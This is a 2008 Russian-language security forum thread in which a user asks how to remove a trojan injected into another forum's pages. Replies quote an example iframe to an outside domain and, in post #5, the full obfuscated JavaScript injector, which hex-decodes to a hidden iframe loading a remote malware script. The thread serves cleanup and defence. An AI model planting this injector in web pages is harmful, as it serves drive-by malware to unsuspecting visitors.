ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Защита ОС: вирусы, антивирусы, файрволы.
Перезагрузить страницу Вирус на форуме.
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вирус на форуме.
  #1  
Старый 06.08.2008, 23:58
Inspector
Познающий
Регистрация: 27.04.2008
Сообщений: 60
Провел на форуме:
499454

Репутация: 36
По умолчанию Вирус на форуме.
На форуме: http://www.rufon.net/forum
сидит троян. Вот как Каспер его палит: http://s60.radikal.ru/i167/0808/94/1c4c61717a03.jpg
Троянская программа палится Касперским во время изменения репутации какому нибудь пользователю.
Обьясните как его dellнуть с форума. И где он может сидеть.
 
Ответить с цитированием

  #2  
Старый 07.08.2008, 00:30
bublebuble
Участник форума
Регистрация: 15.09.2007
Сообщений: 141
Провел на форуме:
473570

Репутация: 81
Отправить сообщение для bublebuble с помощью ICQ
По умолчанию
по логам видно айфреймер, скорее всего нашли багу в модуле репутации и поставили фрейм с вирусом, ищи лишний код в файлах
 
Ответить с цитированием

  #3  
Старый 07.08.2008, 01:05
bublebuble
Участник форума
Регистрация: 15.09.2007
Сообщений: 141
Провел на форуме:
473570

Репутация: 81
Отправить сообщение для bublebuble с помощью ICQ
По умолчанию
чтото вроде:
<iframe src="http://www.hhhiiiii.eu"></iframe>
 
Ответить с цитированием

  #4  
Старый 07.08.2008, 01:08
GROB_T
Участник форума
Регистрация: 03.03.2007
Сообщений: 135
Провел на форуме:
833374

Репутация: 124
По умолчанию
скорее всего код зашифрован
 
Ответить с цитированием

  #5  
Старый 07.08.2008, 23:48
Indig0
Новичок
Регистрация: 28.07.2008
Сообщений: 9
Провел на форуме:
30287

Репутация: 23
Отправить сообщение для Indig0 с помощью ICQ
По умолчанию
Во.. оно самое )

Код:
<script>function v4700bdb3e4ebe(v4700bdb3e5e62){  return(parseInt(v4700bdb3e5e62,16));}function v4700bdb3e8d3f(v4700bdb3e9ce2){ var v4700bdb3ecbc3=2; var v4700bdb3eac83='';for(v4700bdb3ebc23=0; v4700bdb3ebc23<v4700bdb3e9ce2.length; v4700bdb3ebc23+=v4700bdb3ecbc3){ v4700bdb3eac83+=(String.fromCharCode(v4700bdb3e4ebe(v4700bdb3e9ce2.substr(v4700bdb3ebc23, v4700bdb3ecbc3))));}return v4700bdb3eac83;} document.write(v4700bdb3e8d3f('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D656435207372633D5C27687474703A2F2F676F6F676C652D7374617469737469632E636F6D2F696E2E6367693F323F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3634373133292B273863375C272077696474683D353833206865696768743D313131207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
 
Ответить с цитированием

  #6  
Старый 02.12.2008, 18:48
Inspector
Познающий
Регистрация: 27.04.2008
Сообщений: 60
Провел на форуме:
499454

Репутация: 36
По умолчанию
Есть http://rufon.net/forum проблемка.
Имя той проблемке: Trojan-Downloader.JS.Small.hq & Trojan-Clicker.HTML.IFrame.gv



Подскажите, уважаемые коллеги. Где на хосте искать вирь, чтобы нах dell-нуть его. И вообще что делать ?
 
Ответить с цитированием

  #7  
Старый 02.12.2008, 18:56
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию
Ищи ифреймы в сорце страницы (iframe) и делеть нах все (обычно либо внизу, либо вверху, либо и там, и там)
 
Ответить с цитированием

  #8  
Старый 02.12.2008, 21:42
Mishatko
Познающий
Регистрация: 09.04.2008
Сообщений: 47
Провел на форуме:
758806

Репутация: 23
По умолчанию
ТС озвучьте двиг и плагины к нему.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Удаляем вирус... YoYo Factory Защита ОС: вирусы, антивирусы, файрволы. 10 27.07.2008 00:26
Вредоносное ПО как феномен. Часть 1 Spider Agent Авторские статьи 9 21.03.2008 07:40
Новый вирус "зачистит" миллионы компьютеров… в пятницу •••™NO FEAR™••• Мировые новости 69 05.02.2006 06:11
Создан первый вирус против "1С" DRON-ANARCHY Мировые новости 0 16.06.2005 23:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ